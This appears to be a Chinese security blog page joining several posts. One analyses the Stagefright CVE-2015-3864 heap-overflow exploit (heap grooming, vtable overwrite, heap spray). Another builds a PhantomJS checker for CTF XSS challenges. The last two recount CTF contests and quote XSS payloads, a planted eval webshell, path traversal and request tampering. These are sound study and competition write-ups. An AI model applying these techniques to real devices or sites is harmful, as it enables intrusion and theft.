CVE-2015-3864漏洞利用分析(exploit_from_google)

前言

接下来要学习安卓的漏洞利用相关的知识了,网上搜了搜,有大神推荐 stagefright 系列的漏洞。于是开干,本文分析的是 googleexploit. 本文介绍的漏洞是 CVE-2015-3864 , 在 google的博客上也有对该 exploit 的研究。

我之前下载下来了:

pdf版本 的链接:在这里

exploit 的链接: https://www.exploit-db.com/exploits/38226/

分析环境:

1
Android 5.1 nexus4

正文

这个漏洞是一个文件格式相关漏洞,是由 mediaserver 在处理 MPEG4 文件时所产生的漏洞,漏洞的代码位于 libstagefright.so 这个库里面。

要理解并且利用 文件格式 类漏洞,我们就必须要非常清楚的了解目标文件的具体格式规范。

Part 1 文件格式学习

先来一张总体的格式图
paste image

mp4 文件由 box 组成,图中那些 free, stsc等都是box, box 里也可以包含 box ,这种 box 就叫 containerbox .

  • 每个 box 前四个字节为 boxsize

  • 第二个四字节为 boxtypebox typeftyp,moov,trak 等等好多种,moovcontainerbox ,包含 mvhdtrakbox

还有一些要注意的点。

  • box 中存储数据采用大端字节序存储
  • size 域为 0时,表示这是文件最后一个 box
  • size 为1 时,表示这是一个 large box ,在 type 域后面的 8 字节 作为该 box 的长度。

下面来看两个实例。

实例一

paste image

  • size 域为 00000014,所以该 box长度为 0x14 字节。
  • type 域为 66 74 79 70 所以 typefytp
  • 剩下的一些信息是一些与多媒体播放相关的一些信息。与漏洞利用无关,就不说了。

实例二

paste image

  • size 域为1,表示从该 box 开头偏移8字节开始的8字节为 size 字段, 所以该 box 的大小为 0xFFFFFFFFFFFFFF88
  • typetx3g

现在我们对该文件的格式已经有了一个大概的了解,这对于漏洞利用来说还不够,接下来我们要去看具体的解析该文件格式的代码是怎么实现的。

解析文件的具体代码位于 MPEG4Extractor.cpp 中的 MPEG4Extractor::parseChunk 函数里面。
该函数中的 chunk 对应的就是 box, 函数最开始先解析 typesize .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 开始4字节为 box 大小, 后面紧跟的 4 字节为 box type
uint64_t chunk_size = ntohl(hdr[0]);
uint32_t chunk_type = ntohl(hdr[1]); //大端序转换
off64_t data_offset = *offset + 8; // 找到 box 数据区的偏移
// 如果size区为1, 那么后面8字节作为size
if (chunk_size == 1) {
if (mDataSource->readAt(*offset + 8, &chunk_size, 8) < 8) {
return ERROR_IO;
}
chunk_size = ntoh64(chunk_size);
data_offset += 8;
if (chunk_size < 16) {
// The smallest valid chunk is 16 bytes long in this case.
return ERROR_MALFORMED;
}
} else if (chunk_size < 8) {
// The smallest valid chunk is 8 bytes long.
return ERROR_MALFORMED;
}

通过注释和代码,我们知道对于 size 的处理和前面所述是一致的。然后就会根据不同的 chunk_type ,进入不同的逻辑,
paste image

如果 box 中还包含 子 box 就会递归调用该函数进行解析。

Part 2 漏洞分析

CVE-2015-3864 漏洞产生的原因是,在处理 tx3g box时,对于获取的 size 字段处理不当,导致分配内存时出现整数溢出,进而造成了堆溢出。

paste image

size 为之前所解析的所有 tx3g box 的长度总和。chunk_size 为当前要处理的 tx3g box 的长度。然后 size + chunk_size 计算要分配的内存大小。 chunk_sizeuint64_t 类型的,chunk_size 我们在文件格式中我们所能控制的最大大小为 0xFFFFFFFFFFFFFFFF ( 看 part1 实例二 ) ,也是 64 位,但是我们还有一个 size 为可以控制,这样一相加,就会造成 整数溢出 , 导致分配小内存。而我们的 数据大小则远远大于分配的内存大小,进而造成堆溢出

Part 3 漏洞利用

概述

现在我们已经拥有了堆溢出的能力,如果是在 ptmalloc 中,可以修改下一个堆块的元数据来触发 crash ,甚至可能完成漏洞利用。不过从 android 5开始,安卓已经开始使用 jemalloc 作为默认的堆分配器。

jemalloc 中,小内存分配采用 regions 进行分配, region 之间是没有 元数据 的 (具体可以去网上搜 jemalloc 的分析的文章),所以 在 ctf 中常见的通过修改 堆块元数据 的漏洞利用方法在这里是没法用了。

不过所有事情都有两面性。region 间是直接相邻的,那我就可以很方便的修改相邻内存块的数据。 如果我们在 tx3g 对应内存块的后面放置一个含有关键数据结构的内存块,比如一个对象,在 含有虚函数 的类的 对象开始4字节(32位下),会存放一个 虚表指针 .

对象 调用 虚函数 时会从 虚表指针 指向的位置的 某个偏移(不同函数,偏移不同) 处取到相应的函数指针,然后跳过去执行。

如果我们修改对象的虚表指针,我们就有可能在程序调用虚函数时,控制程序的流程。

一些重要的 chunk_type(box type)

tx3g box

上一节提到,我们可以修改对象的虚表指针,以求能够控制程序的跳转。那我们就需要找到一个能够在解析 box 数据能时分配的对象。

MPEG4DataSource 就是这样一个类。

paste image

可以看到该对象继承自 DataSource, 同时还有几个虚函数。

我们可以在ida中看看虚表的构成。

paste image

可以看到 readAt 方法在虚表的第7项,也就是虚表偏移 0x1c 处。同时MPEG4DataSource在我这的大小为 0x20 .再看一下漏洞位置的代码。

paste image
可以看到如果当前解析的 tx3g box 不是第一个tx3g box(即size>0),会先调用 memcpy , 把之前所有 tx3g box中的数据拷贝到刚刚分配的内存。

如果我们先构造一个 tx3g ,其中包含的数据大于 0x20, 然后在构造一个 tx3g 构造大小使得 size+chunk_size = 0x20, 然后通过 memcpy 就可以覆盖 MPEG4DataSource 的虚表了。exploit 中就是这样干的。

pssh box

看看代码

paste image
划线位置说明了 pssh 的结构。

1
2
3
4
5
6
7
8
9
10
pssh 的结构
开始8字节 表示 该 box 的性质
00 00 00 40 70 73 73 68
size: 0x40,
type: pssh :
+ 0xc 开始 16字节 为 pssh.uuid
+ 0x1c开始4字节为 pssh.datalen
+ 0x20 开始为 pssh.data
可以查看 代码,搜索关键字: FOURCC('p', 's', 's', 'h')

这里先分配 pssh.datalen 大小的内存,然后把 pssh.data 拷贝到刚刚分配的内存。完了之后会把 分配到的 PsshInfo 结构体增加到 类属性值 Vector<PsshInfo> mPssh 中, mPsshMPEG4Extractor::~MPEG4Extractor()中才会被释放。

paste image

所以在解析完 MPEG4格式前,通过 pssh 分配的内存会一直在内存中。

avcC box 和 hvcC box
这两个 box 的处理基本一致,以 avcC 为例进行介绍。解析代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
case FOURCC('a', 'v', 'c', 'C'):
{
// 这是一块临时分配, buffer 为智能指针,在 函数返回时相应内存会被释放。
sp<ABuffer> buffer = new ABuffer(chunk_data_size);
if (mDataSource->readAt(
data_offset, buffer->data(), chunk_data_size) < chunk_data_size) {
return ERROR_IO;
}
// 在这里,会释放掉原来那个,新分配内存来容纳新的数据。
// 因此我们有了一个 分配,释放 内存能力
// setData 中会释放掉原来的buf, 新分配一个 chunk_data_size
mLastTrack->meta->setData(
kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size);
*offset += chunk_size;
break;
}

首先根据 chunk_data_size 分配 ABufferbufferchunk_data_sizeboxsize 域指定,注意buffer是一个智能指针,在这里,它会在函数返回时释放。

ABuffer 中是直接调用的 malloc 分配的内存。
paste image
接下来读取数据到 buffer->data(), 最后调用 mLastTrack->meta->setData 保存数据到 meta, 在 setData 内部会先释放掉之前的内存,然后分配的内存,存放该数据,此时分配内存的大小还是chunk_data_size, 我们可控。

paste image

hvcC 的处理方式基本一样。所以通过这两个 box 我们可以 分配指定大小的内存,并且可以随时释放前面分配的那个内存块 。我们需要使用这个来布局tx3g内存块 和 MPEG4DataSource内存块。

修改对象虚表指针

下面结合exploit 和上一节的那几个关键 box ,分析通过布局内存,使得我们可以修改 MPEG4DataSource 的虚表指针。
为了便于说明,取了 exploit 中的用于 修改对象虚表指针的相关代码进行解析 ( 我调试过程做了部分修改 )
paste image

首先看到第7,8行,构造了第一个 tx3g box, 大小为 0x3a8, 后面在触发漏洞时,会先把这部分数据拷贝到分配到的小内存buffer中,然后会溢出到下一个 regionMPEG4DataSource内存块。使用 cyclic 可以在程序 crash 时,计算 bufferMPEG4DataSource 之间的距离。

13 行,调用了 memory_leak 函数, 该函数通过使用 pssh 来分配任意大小的内存,在这里分配的是 alloc_size ,即 0x20. 因为MPEG4DataSource 的大小为 0x20 ,就保证内存的分配会在同一个 run 中分配。这些这样这里分配了 40x20 的内存块,我认为是用来清理之前可能使用内存时,产生的内存碎片,确保后面内存分配按照我们的顺序进行分配。此时内存关系

1
| pssh | - | pssh |

1725 行,清理内存后,开始分配 avcChvcC, 大小也是 0x20, 然后在第 25 行又进行了内存碎片清理,原因在于我们在分配 avcChvcC时,会使用到 new ABuffer(chunk_data_size),这个临时的缓冲区,这个会在函数返回时被释放(请看智能指针相关知识)

paste image
同时多分配了几个 pssh 确保可以把 avcChvcC包围在中间。所以现在的内存关系是

1
| pssh | - | pssh | pssh | avcC | hvcC | pssh |

然后是 第 29 行, 再次分配 hvcC ,不过这次的大小 为 alloc_size * 2, 触发 hvcC 的释放,而且确保不会占用 刚刚释放的 内存.(jemalloc中 相同大小的内存在同一个run中分配)

1
| pssh | - | pssh | pssh | avcC | .... | pssh |

接下来构造 stblMPEG4DataSource 占据刚刚空出来的 内存。

1
| pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |

接下来, 第 38 行用同样的手法分配释放 avcC

1
| pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |

然后使用整数溢出,计算得到第二个 tx3g 的长度值,使得最后分配到的内存大小为0x20, 用来占据刚刚空闲的 avcC 的 内存块,于是现在的内存布局,就会变成这样。

1
| pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |

然后在

paste image
就会溢出修改了 MPEG4DataSource 的虚表指针。然后在下面的 readAt 函数调用出会 crash.

我测试时得好几次才能成功一次,估计和内存碎片相关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Thread 10 received signal SIGSEGV, Segmentation fault.
0xb66b57cc in android::MPEG4Extractor::parseChunk (this=this@entry=0xb74e2138, offset=offset@entry=0xb550ca98, depth=depth@entry=0x2) at frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1905
1905 if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$r0 : 0xb74e27b8 → 0x61616169 ("iaaa"?)
$r1 : 0xb74e2bb8 → 0x00000000
$r2 : 0x61616169 ("iaaa"?)
$r3 : 0x00000000
$r4 : 0xb550c590 → 0x00000428
$r5 : 0xfffffbf8
$r6 : 0xb550c580 → 0xb74e5c98 → 0x28040000
$r7 : 0xb550c570 → 0xfffffbf8
$r8 : 0xb74e2138 → 0xb6749f18 → 0xb66b2841 → <android::MPEG4Extractor::~MPEG4Extractor()+1> ldr r3, [pc, #188] ; (0xb66b2900 <android::MPEG4Extractor::~MPEG4Extractor()+192>)
$r9 : 0x74783367 ("g3xt"?)
$r10 : 0xb550ca98 → 0x01000a98
$r11 : 0xb74e2790 → 0x28040000
$r12 : 0x00000000
$sp : 0xb550c530 → 0xb74e2bb8 → 0x00000000
$lr : 0xb66b57bd → <android::MPEG4Extractor::parseChunk(long+0> ldr r1, [r4, #0]
$pc : 0xb66b57cc → <android::MPEG4Extractor::parseChunk(long+0> ldr r6, [r2, #28]
$cpsr : [THUMB fast interrupt overflow carry ZERO negative]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
$r0 : 0x00000000
$r1 : 0xb74e2bb8 → 0x00000000
$r2 : 0x61616169 ("iaaa"?)
$r3 : 0x00000000
$r4 : 0xb550c590 → 0x00000428
$r5 : 0xfffffbf8
$r6 : 0xb550c580 → 0xb74e5c98 → 0x28040000
$r7 : 0xb550c570 → 0xfffffbf8
$r8 : 0xb74e2138 → 0xb6749f18 → 0xb66b2841 → <android::MPEG4Extractor::~MPEG4Extractor()+1> ldr r3, [pc, #188] ; (0xb66b2900 <android::MPEG4Extractor::~MPEG4Extractor()+192>)
$r9 : 0x74783367 ("g3xt"?)
$r10 : 0xb550ca98 → 0x01000a98
$r11 : 0xb74e2790 → 0x28040000
$r12 : 0x00000000
$sp : 0xb550c530 → 0xb74e2bb8 → 0x00000000
$lr : 0xb66b57bd → <android::MPEG4Extractor::parseChunk(long+0> ldr r1, [r4, #0]
$pc : 0xb66b57cc → <android::MPEG4Extractor::parseChunk(long+0> ldr r6, [r2, #28]
$cpsr : [THUMB fast interrupt overflow carry ZERO negative]

可以看到断在了<android::MPEG4Extractor::parseChunk(long+0> ldr r6, [r2, #28],去 ida 里面找到对应的位置。

paste image
r2存放的就是虚表指针,可以确定成功修改了 虚函数表指针。

paste image

偏移也符合预期。

堆喷射

上面我们已经成功修改了MPEG4DataSource 的虚表指针,并在虚函数调用时触发了 crash .

我们现在能够修改对象的 虚表指针,并且能够触发虚函数调用。我们需要在一个可预测的内存地址精准的布置我们的数据,然后把虚表指针修改到这里,在 exploit 中使用了

1
2
3
4
spray_size = 0x100000
spray_count = 0x10
sample_table(heap_spray(spray_size) * spray_count)

来进行堆喷射

heap_spray 函数 就是使用 pssh 来喷射的内存。每次分配 0x100 页,共分配了 0x10 次。 exploit 作者在 博客中写道,这样就可以在可预测的内存地址中定位到特定数据。在这里就是 用于 stack_pivotgadget.

对于这一点,我很疑惑,有大佬可以告诉我为什么可以这样吗? 或者有没有相关的 paper 来介绍为什么可以在 可预测的地址 精确的布置我们的数据

最后

这个 exploit 写的确实强悍,提示我在进行漏洞利用时,要关注各种可能分配内存的地方,灵活的使用代码中的内存分配,来布局内存。 同时研究一个漏洞要把相关知识给补齐。对于这个漏洞就是 MPEG4 的文件格式和 相关的处理代码了。

一些tips:

  • 使用 gef + gdb-multiarch 来调试 , pwndbg 我用着非常卡, gef 就不会
  • 调试过程尽量使用脚本减少重复工作量。

使用的一些脚本。

使用 gdbserver attach mediaserver 并转发端口的脚本

1
2
3
4
5
adb root
adb forward tcp:1234 tcp:1234
a=`adb shell "ps | grep mediaserver" | awk '{printf $2}'`
echo $a
adb shell "gdbserver --attach :1234 $a"

gdb 的调试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
set arch armv5
gef-remote 127.0.0.1:1234
set solib-search-path debug_so/
directory android-5.1.0_r3/
gef config context.layout "regs -source"
set logging file log.txt
set logging on
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1897
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1630
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1647
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:884
commands 1
p chunk_size
p buffer
c
end
commands 2
p buffer
end
commands 3
p buffer
c
end
commands 4
hexdump dword mDataSource 0x4
c
end

参考:

https://census-labs.com/media/shadow-infiltrate-2017.pdf

https://googleprojectzero.blogspot.hk/

http://blog.csdn.net/zhuweigangzwg/article/details/17222951

使用 PhantomJS 来实现 CTF 中的 XSS 题目

零:CTF、XSS 的概念

CTF 在这个博客中提到的已经很多了,它是一类信息安全竞赛,在比赛中,选手通过各种方式,从题目给出的文件或者网址中,获取到某一特定格式的字符串。

CTF 中比较常见的一个题型就是 XSS(跨站脚本攻击),大概的原理就是服务端没有正确过滤用户的输入,导致用户提交的畸形字符串被插入到网页中并被解析成 JavaScript 执行。在 CTF 中,XSS 一般用来拿管理员的 Cookie,伪造身份登录后台,再进行后续的渗透(顺便提一下,现在大部分网站的敏感 Cookie 都被设成了 HTTP Only,因此 XSS 是没法拿到的,需要用其它的方法)。

一个非常简单的反射型 XSS 注入如下(为了突出重点,我就不把页面写的这么完整了,一般的 CTF 题目也鲜有很符合规范的页面):

1
2
3
4
5
<html>
<body>
Hello <?php echo $_GET['name']; ?>!
</body>
</html>

如果我们输入的网址中,name 参数值为 rex<script>alert(1)</script>,那么整个网页会变成这样:

1
2
3
4
5
<html>
<body>
Hello rex<script>alert(1)</script>!
</body>
</html>

页面上就会有一个弹框。当然,如果能成功 alert(1),那么一般来说大概应该可能有其它方法来获取 Cookie,因此比较简单的 XSS 的检测方式通常是看页面上能否 alert(1)。

当然,XSS 还有其它方法,例如在一个论坛上发帖内容为 <img src=# onerror=alert(1)>,而这个论坛也没做输入过滤,那么这段恶意代码就会一直保留在这个帖子里,基本每个点进来的人都会遭殃。此为存储型 XSS。

就算服务端做了一些过滤,黑客也可能会绕过。例如服务端的过滤如下:

1
2
3
function escape($str) {
return preg_replace('/<script>/', '', $str);
}

想绕过的话,只需要使用 <scr<script>ipt>alert(1)</script> 即可,左边被过滤之后剩下的刚好又拼接成了一个 <script> 标签。

有一个很好玩的网站:alert(1) to win,是我在大一的时候某只姓三的学长给我的。这个网站给了你 escape 函数,你的目标就是输入 input,使其通过 escape 函数之后依旧可以 alert 出数字 1(注意是数字 1,不是字符串 1)。这个网站的题目对于目前的我来说还是比较难的,如果大家有兴趣,可以去挑战一下。

一:PhantomJS 的概念

我之前对电脑的认识是非常肤浅的。第一次听说虚拟机居然还可以跑在命令行下的时候,我心想:虚拟机软件本身没有图形界面,那你该怎么显示虚拟机里面的图形呢?后来特么又看到了 PhantomJS,居然是个没有图形界面的浏览器!当时还心想,这玩意又没法给人看,会有啥用啊……

后来接触了爬虫之后才逐渐理解了这玩意的用途。它是一个通过命令行和 API 操作的、没有图形界面的浏览器,专注于自动化测试、爬虫等不需要人们浏览,但需要获取数据的一些场合。

如果觉得 PhantomJS 官方的文档太多懒得看,针对一些简单的编程,看阮老师的这篇文章也可以:PhantomJS – JavaScript 标准参考教程(alpha)

二:基于 PhantomJS 的 CTF-XSS-Checker 的实现

我的思路大概是参照了上面的网站实现的,但是上面的 escape 函数是返回了一个过滤之后的字符串,而我打算直接用 eval 方法。

先放一下界面好啦!可以看到,上面网站中的 escape 函数被我改成了 check,里面会有一句 eval

0

由于 Node.js 与 PhantomJS 的交互最为简单,因此后端使用 Node.js 来编写。思路其实很简单:启动一个服务器,针对前端的静态文件直接返回文件内容(当然,这一点也可以用 Nginx 代劳),针对题目生成对应的题目网页,针对 /check 路由根据 POST body 进行 XSS 判断。

具体的路由逻辑我就不写了,毕竟即使不会开服务器,不会写路由,使用 koa 等框架也能很轻松地实现。这里重点说一下前后端的检验流程。写一个网页解释器实在是太难,而且也不值得,所以最简单的方法就是不如就让它 alert 成功,只不过我们修改一下 alert 函数罢了。

前端先生成一个隐藏的 iframe,通过劫持里面的 onerrorconsole.logalert 等函数来处理,通过 HTML5 Message API 在父页面和 iframe 之间传递信息。具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
window.onerror = function (a) {
parent.postMessage({
error: a.toString()
}, "*");
};
window.console = window.console || {};
window.console.log = function (a) {
parent.postMessage({
console: a
}, "*");
};
window.alert = function (a) {
if (a === 1)
parent.postMessage({
success: 1
}, "*");
else if (a == 1)
parent.postMessage({
warning: "You should alert *NUMBER* 1."
}, "*");
else {
parent.postMessage({
warning: "You need to alert 1."
}, "*");
}
};
window.onmessage = function (a) {
try {
check(a.data);
} catch(e) {
parent.postMessage({
error: e.toString().split("\\n")[0]
}, "*");
};
};

然后父页面通过返回的数据来处理就可以了,例如 onerror 的时候就将下面的黄条变红,并显示传过来的信息,如果 success 了,就将数据发给服务端进行验证。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// script 就是上面说的要嵌入 iframe 里面的代码
iframe.src = 'data:text/html,' + encodeURIComponent(problemText.replace(/\n\s*/g, '')) + script;
iframe.onload = function () {
this.contentWindow.postMessage(textarea.value, '*');
};
// 父页面通过 iframe 传回来的信息进行相应的处理
window.onmessage = function (e) {
var d = e.data;
console.log(d);
if (d.success !== undefined) {
tab.className = 'rs-tab rs-tab-success';
tab.innerText = 'Local check passed, running server check...';
// server check
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
tab.innerText = 'Server response: \'' + xhr.responseText + '\'.';
}
}
};
xhr.open('POST', '/check', true);
xhr.send(JSON.stringify({
id: location.pathname.match(/^\/(\d+)$/)[1],
ans: textarea.value,
}));
} else if (d.warning !== undefined) {
tab.className = 'rs-tab rs-tab-warning';
tab.innerText = d.warning;
} else if (d.error !== undefined) {
tab.className = 'rs-tab rs-tab-danger';
tab.innerText = d.error;
output.innerText = '';
} else if (d.console !== undefined) {
output.innerText = d.console;
}
};

这样本地的检验就可以啦!去看看服务端的 /check 是怎么写的。由于服务端是接收 JSON 返回 JSON 的,因此如果出了结果,直接输出一段 JSON 即可。假设我们已经想办法获取到了用户输入(上面那段代码中的 ans)、检验函数(之前提到的 check),那么可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var input = /* 获取到的 ans */;
var outputStr = '';
function output(obj) {
outputStr = JSON.stringify(obj);
}
window.onerror = function (a) {
output({ error: a.toString() });
}
window.alert = function (a) {
if (a === 1) {
output({ success: 1 });
} else if (a == 1) {
output({ error: "You should alert *NUMBER* 1." });
} else {
output({ error: "Server check failed, you need to alert 1." });
}
};
/* 在这儿注入 check 函数的实现 */
try {
check(input);
} catch (e) {
output({ error: e.toString().split("\\n")[0] });
} finally {
return outputStr;
}

说了这么多流程,终于要用到 PhantomJS 啦!我们需要用它创建一个页面,执行上面的代码,获取返回结果,并且在用户提交耗资源的操作(例如死循环)时及时将其关闭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
var phantom = require('phantom');
var phInstance = null;
var exitted = false;
phantom.create()
.then(instance => {
phInstance = instance;
return instance.createPage();
})
.then(page => {
var script = /* 上面提到的 script */;
var evaluation = page.evaluateJavaScript(script);
evaluation.then(function (html) {
html = JSON.parse(html);
if (html.success) {
res.write('Check passed, flag: ' + /* 对应题目的 flag */);
res.end();
} else {
res.write(html.error);
res.end();
}
if (!exitted) {
phInstance.exit();
exitted = true;
}
});
})
.catch(error => {
console.log(error); // eslint-disable-line no-console
if (!exitted) {
phInstance.exit();
exitted = true;
res.write('PhantomJS error');
res.end();
}
});
// prevent time limit exceeded
setTimeout(function () {
if (!exitted) {
phInstance.exit();
exitted = true;
res.write('TLE');
res.end();
}
}, 5000);
}

最后配上一点样式,就大功告成啦!

1

2

3


P.S. 即将到来的 NUAACTF 会使用这个程序来设计 XSS 题目。当然,题目与 Flag 均不是本文中放出来的这些。

P.S.S. Chrome 目前也推出了 Headless 模式,而且支持 Chrome 的全部特性。PhantomJS 作者表示自己要失业了……23333

2016 全国大学生网络安全邀请赛暨第二届上海市大学生网络安全大赛决赛酱油记

这次比赛的形式跟暑假那次一样,也是攻防赛,选手需要维护三个服务,其中一个是二进制,两个是 Web。不过这次的网络跟上次的不一样,三个服务都处于选手自己的内网环境(172.16.9.X,每道题是一个 X)中,只对外网(172.16.5.X,X = 队名 + 9)暴露了必须的端口。不过思路还是一样,先把代码 Dump 下来,然后看看里面有什么漏洞,然后尝试利用。这次比赛不提供外网,而且只有四个小时(十分钟一轮),因此可能会困难一些。

我们队伍三个人,就我是搞 Web 的,剩下的两个学弟都是搞 PWN 的,因此果断让他俩去搞 PWN 了,我一个人慢慢看 Web。这篇文章就对这两道 Web 题逐题分析吧,最后再写写我踩过的坑,因为现场的时候,一道题卡住了就去做另一道,如果按照时间写的话可能会很乱。

Web1

Web1 是搭在 Windows 2003 上的,需要远程桌面连接过去。打开 Web 目录之后发现两个项目,一个是开在 8081 上的 HDwiki,另一个是开在 8082 上的 finecms。我只看了 HDwiki 这一块,看到 index.php 里面第一句就是 @eval($_POST['HDwiki']),这特么是个菜刀啊!然而我当时太傻逼,以至于没有用菜刀来验证,而是直接向其 post 各种各样的信息,结果发现均没法执行。在这儿耽误了好长时间,比赛结束后才想起来有可能是开了 WAF,如果是这样,那么普通的菜刀可能并不好使了,需要有绕过 WAF 功能的才可以。

Web2

Web2 开了两个端口 8081 和 8082,然而看源码发现 8082 只有一个 index.html 文件,里面的内容就是 8082,所以这个端口是没意义的。把 8081 端口对应的文件下下来,发现是个 CodeIgniter 的项目。首先将 ENVIRONMENT 改成 production,然后在 production 中禁用全部的报错。然后在 static/test-run/debug.php 中发现了一段代码:

1
2
3
4
5
6
$conn = @mysql_connect($db['default']['hostname'], $db['default']['username'], $db['default']['password']) or die("connect failed" . mysql_error());
@mysql_select_db($db['default']['database'], $conn);
$result = @mysql_query('select init from system', $conn);
eval('$system_info='.@mysql_fetch_row($result)[0].';');
echo "We are ".$system_info['owner'] ."<br>";
echo "Our taget is " .$system_info['taget']."<br>";

并搞不懂,不过可以看出来一点:它说数据库的 system 表中会有一个数据,于是看到 system 表,里面只有一个 init 字段,写了 ownermember_keytaget(居然不是 target),然而并没输出 member_key,可见其重要性。于是全局搜索一下,在 application/controllers/Download.php 中发现了这样一段:

1
2
3
function do_download($file){
force_download(APPPATH . pathcoder($file,$this->system_model->sys_select()['member_key']), NULL);
}

跳到 force_download 函数,发现它并没有检验传入的文件名,刚好 flag 相对于 index.php 的路径(index.php 是框架的单一入口)是 ../flag,因此可以直接访问 /download/do_download/xxx.html 即可下载到 flag,其中 xxx 是经过加密后的 ../flag。于是看到 pathcoder 函数:

1
2
3
4
5
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
// ....

只有解密算法,没有加密算法,这是让我们自己反推?然而这一串 md5……

愣了一会儿,突然反应过来,这段代码不就是 uc_authcodediscuz 中的对称加密算法)么?!对比了一下,跟 uc_authcodeDECODE 模式完全一样,当然,key 就是 member_key 了。然而我用 uc_authcode 加密之后却没法用 pathcoder 解密,不知道是什么情况,由于已经没有时间了,因此只能作罢。

踩过的坑

不要随便删文件

我一开始在 HDwiki 中看到了一个 check.php,与业务逻辑没有任何关系,只是查看文件 md5 的,因此就顺手将其重命名为 check.php233 了,结果我们的 Web1 被判定为 down,于是才知道这是主办方的存活检测(哪有这样做检测的啊),于是将其恢复之后就好了。

不要随便 die

我在 Web2 中发现了那个 debug.php,最下面有一个可能是变量覆盖的漏洞,我就在这之前添加了一句 die();,结果又被判定为 down 了……

不要随便改权限

之前想到 static 文件夹可能会有执行权限,于是我执行了 chmod -x static(嗯,没有递归),结果被判定为 down 了……然而我一直没反应过来(只想着 down 可能是文件哪里改坏了),因此导致我们 down 了 18 轮,基本全部的失分都是在这里。

Web 可能有 WAF,可能有函数限制?

不光是 HDwiki 的那个菜刀用不了,我自己写的一些一句话也用不了。而且靶机中没有 tcpdump,于是我还想跟暑假一样在一开始输出 $_SERVER['PHP_SELF'] 和全部的 header、body 来分析流量,然而不管是 fwrite 还是 fputs 甚至是 file_put_contents 都失效了。由于没有经验,所以我不知道是否还有别的抓流量的方法,这直接导致了我没法重放其它队伍的攻击流量(不然可以自己写个脚本得点分了)。


最终的结果是,我们由于防守的好(也可能是时间太短,其它漏洞都没人找到),只被 3years 打了一轮 Web1,剩下的失分都是因为 down。如果有上面这些经验的话,就不至于失掉那么多分,名次还会再往前进一波。

0

2016 全国大学生网络安全邀请赛暨第二届上海市大学生网络安全大赛 Writeup

天知道为啥这比赛的名字这么长……还是写一写我过的那些题吧!

[Web] 仔细

打开发现是一个伪 nginx 测试页面,然后扫了一下发现有个 /log 文件夹,打开发现里面记录了 access.log,猜想里面有访问记录,于是下载下来直接搜 200,搜到一条记录:

1
http://xxx.xxx.xxx.xxx:15322/wojiushiHouTai888/denglU.php?username=admin&password=af3a-6b2115c9a2c0&submit=%E7%99%BB%E5%BD%95

打开发现里面有 flag:flag{ff11025b-ed80-4c42-afc1-29b4c41010cb}

[Web] 威胁(1)

根据提示“管理于2016年建成该系统”,生成一个 2016 年所有日期的字典,最终爆破出密码是 20160807,登进去发现 flag:flag{2eeba717-0d8e-4a7e-9026-e8e573afb99b}

[Web] 威胁(2)

源代码注释中提示用户名为 test,密码为 123456,然而最后猜出来真正的用户名应该是 guest,登录之后发现 flag:flag{6db7d9f2-e7cf-4986-b116-e1810e6e4176}

[Web] 物超所值

点击网页中的 SHOP NOW 按钮提示金钱不足,抓包没发现数据,说明是前端验证。查看网页源代码发现了点击按钮执行的函数,直接在 console 里面执行“验证成功”的句子:document.getElementById('Shop').submit(),依旧提示金钱不足,抓包发现提交了 id=25535&Price=10000 这段数据,将 Price 改为 0.01,在网页中发现了一行代码:

1
confirm('Purchase success,flag is:flag{e6985c27-0353-4dc4-83dc-1833426779a0}');

[Web] 分析

打开是个静态页面,扫了一下发现了 http://xxx.xxx.xxx.xxx:1999/administrator.php,在页面最下方的注释中发现账号 administrator administrator,登录后提示 IP 不在许可范围内,抓包看了一下发现一段注释:<!--许可ip:localhost/127.0.0.1-->,于是修改 HTTP 头添加 X-Forwarded-For: 127.0.0.1,得出结果:flag{33edd0c8-3647-4e09-8976-286ed779e5d3}

[Web] 抢金币

一开始以为是暑假某场比赛的原题,结果发现直接输入验证码抢劫会被抓,被抓之后就没法买 flag 了。后来发现,只要先让服务器生成一遍验证码,再直接抢,发的包中不带 code 参数,就可以(也仅可以)抢劫一次且不被抓。于是写脚本每隔一秒发两个请求(一个生成验证码,一个抢劫),等金币大于 1000 之后访问 getflag.php,即可得到 flag:flag{defee21d-4e09-41fa-aab4-052bd3d406c6}

[Crypto] 洋葱

